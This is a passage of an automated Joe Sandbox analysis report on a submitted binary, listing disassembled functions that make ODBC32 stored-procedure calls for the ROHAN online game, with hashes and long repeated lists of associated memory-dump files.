                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetIndunRankerMessage] (?,?)}
                                                                                                                            • API String ID: 0-3078763994
                                                                                                                            • Opcode ID: 0420d5d8af436dba1c9a75b59cf741e2870ea88c661297d98c7b25aa11722164
                                                                                                                            • Instruction ID: d3e51ffd4c2f544c1cae997b37b7bc5b298469e620828a8145fe5c3021e3ee28
                                                                                                                            • Opcode Fuzzy Hash: 0420d5d8af436dba1c9a75b59cf741e2870ea88c661297d98c7b25aa11722164
                                                                                                                            • Instruction Fuzzy Hash: E3213EB1A84219BBEB308F44CC42FBA7374EB88B14F108199F7186E6C5C6B169419F88
                                                                                                                            Function 00434A09 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetNGuildWarKillInfoList] (?,?)},000000FD), ref: 00434A29
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00434A68
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00434A9D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00434AD5
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetNGuildWarKillInfoList] (?,?)}, xrefs: 00434A20
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetNGuildWarKillInfoList] (?,?)}
                                                                                                                            • API String ID: 0-1596954230
                                                                                                                            • Opcode ID: e4fa49e9a4f3b53c1a60febf778dd90a6f73077aa6c1ff828c46fbd832a2d65d
                                                                                                                            • Instruction ID: 7c06663eb98635966c32cbd1bc7ef59231e8deb16c04e0d5f0cbed06825f95ed
                                                                                                                            • Opcode Fuzzy Hash: e4fa49e9a4f3b53c1a60febf778dd90a6f73077aa6c1ff828c46fbd832a2d65d
                                                                                                                            • Instruction Fuzzy Hash: 94213EB0B41318ABFB209F44CC52FAA7334FB45B14F254289F619AE6C0D6B56D408B59
                                                                                                                            Function 0042DA29 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_LeaveAllianceGuild](?, ?)},000000FD), ref: 0042DA49
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042DA88
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042DABD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042DAF5
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_LeaveAllianceGuild](?, ?)}, xrefs: 0042DA40
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_LeaveAllianceGuild](?, ?)}
                                                                                                                            • API String ID: 0-3909131061
                                                                                                                            • Opcode ID: b2f512f3439635d95be70ed67a53179b68cabf74755481462643789ed5511dda
                                                                                                                            • Instruction ID: 3d92e1527806c7bf433b1c0f27111eafbf261847805ddfcc6fd4ad22f9d30ed5
                                                                                                                            • Opcode Fuzzy Hash: b2f512f3439635d95be70ed67a53179b68cabf74755481462643789ed5511dda
                                                                                                                            • Instruction Fuzzy Hash: 262100B1641A14BBEB60CF44CC52FEB7774EB84B1DF208289F6186E2C4D6B569808F58
                                                                                                                            Function 00441A39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohangame_pLucky_GetReward] (?, ?)},000000FD), ref: 00441A4D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00441A99
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00441AD6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,0000005D,0000005D,00000013), ref: 00441B0B
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohangame_pLucky_GetReward] (?, ?)}, xrefs: 00441A44
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohangame_pLucky_GetReward] (?, ?)}
                                                                                                                            • API String ID: 0-750418725
                                                                                                                            • Opcode ID: 1c61e724e7b69f4888a9b7bcaadc115564811f0da2adafa9530e23bcfda08d96
                                                                                                                            • Instruction ID: 7e8fc1fdf12a594be7d7c1304a2362490e7df4550ecc350c43739b92ed5144a5
                                                                                                                            • Opcode Fuzzy Hash: 1c61e724e7b69f4888a9b7bcaadc115564811f0da2adafa9530e23bcfda08d96
                                                                                                                            • Instruction Fuzzy Hash: 8B21D0B1A40318BBEB288B44CC52FEA7335EB84B54F1042C9F7142E6C5DAB56F849F58
                                                                                                                            Function 00433B00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetNGuildWarRegister] (?,?)},000000FD), ref: 00433B20
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00433B5F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00433B94
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00433BCC
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetNGuildWarRegister] (?,?)}, xrefs: 00433B17
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetNGuildWarRegister] (?,?)}
                                                                                                                            • API String ID: 0-1851568374
                                                                                                                            • Opcode ID: 360e61c29caa700b2780ecc0d9dada16df1b2811c610aaa0c1e2c74da376b026
                                                                                                                            • Instruction ID: 010f98871887eec7c14b5c89c52f62c78055515775f51403276b8ab30b4734c3
                                                                                                                            • Opcode Fuzzy Hash: 360e61c29caa700b2780ecc0d9dada16df1b2811c610aaa0c1e2c74da376b026
                                                                                                                            • Instruction Fuzzy Hash: 662154B1B50714BBEB24CF58CC42F9A7374EB4DB24F108299F6186E6C0D5B5AD408F59
                                                                                                                            Function 0043795D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohan_ChangeCharacterName] (?,?)},000000FD), ref: 00437971
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004379B3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004379EB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437A23
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohan_ChangeCharacterName] (?,?)}, xrefs: 00437968
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohan_ChangeCharacterName] (?,?)}
                                                                                                                            • API String ID: 0-4146091340
                                                                                                                            • Opcode ID: 049262089a7157bddde1c5c324ee43b56061f7da273de822a1339a442554c848
                                                                                                                            • Instruction ID: d8b1d48cb57fff32cd86ac664cd49647630fdf6df0c0f995381fea87b39b8893
                                                                                                                            • Opcode Fuzzy Hash: 049262089a7157bddde1c5c324ee43b56061f7da273de822a1339a442554c848
                                                                                                                            • Instruction Fuzzy Hash: 11210371681218BBFB249B54CD52FAA7335EB84B18F1083C9F71C6E3C5D9B56D808B58
                                                                                                                            Function 00439132 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_MOVECharSTEP4] (?,?) },000000FD), ref: 00439146
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00439188
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004391BD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004391F5
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_MOVECharSTEP4] (?,?) }, xrefs: 0043913D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
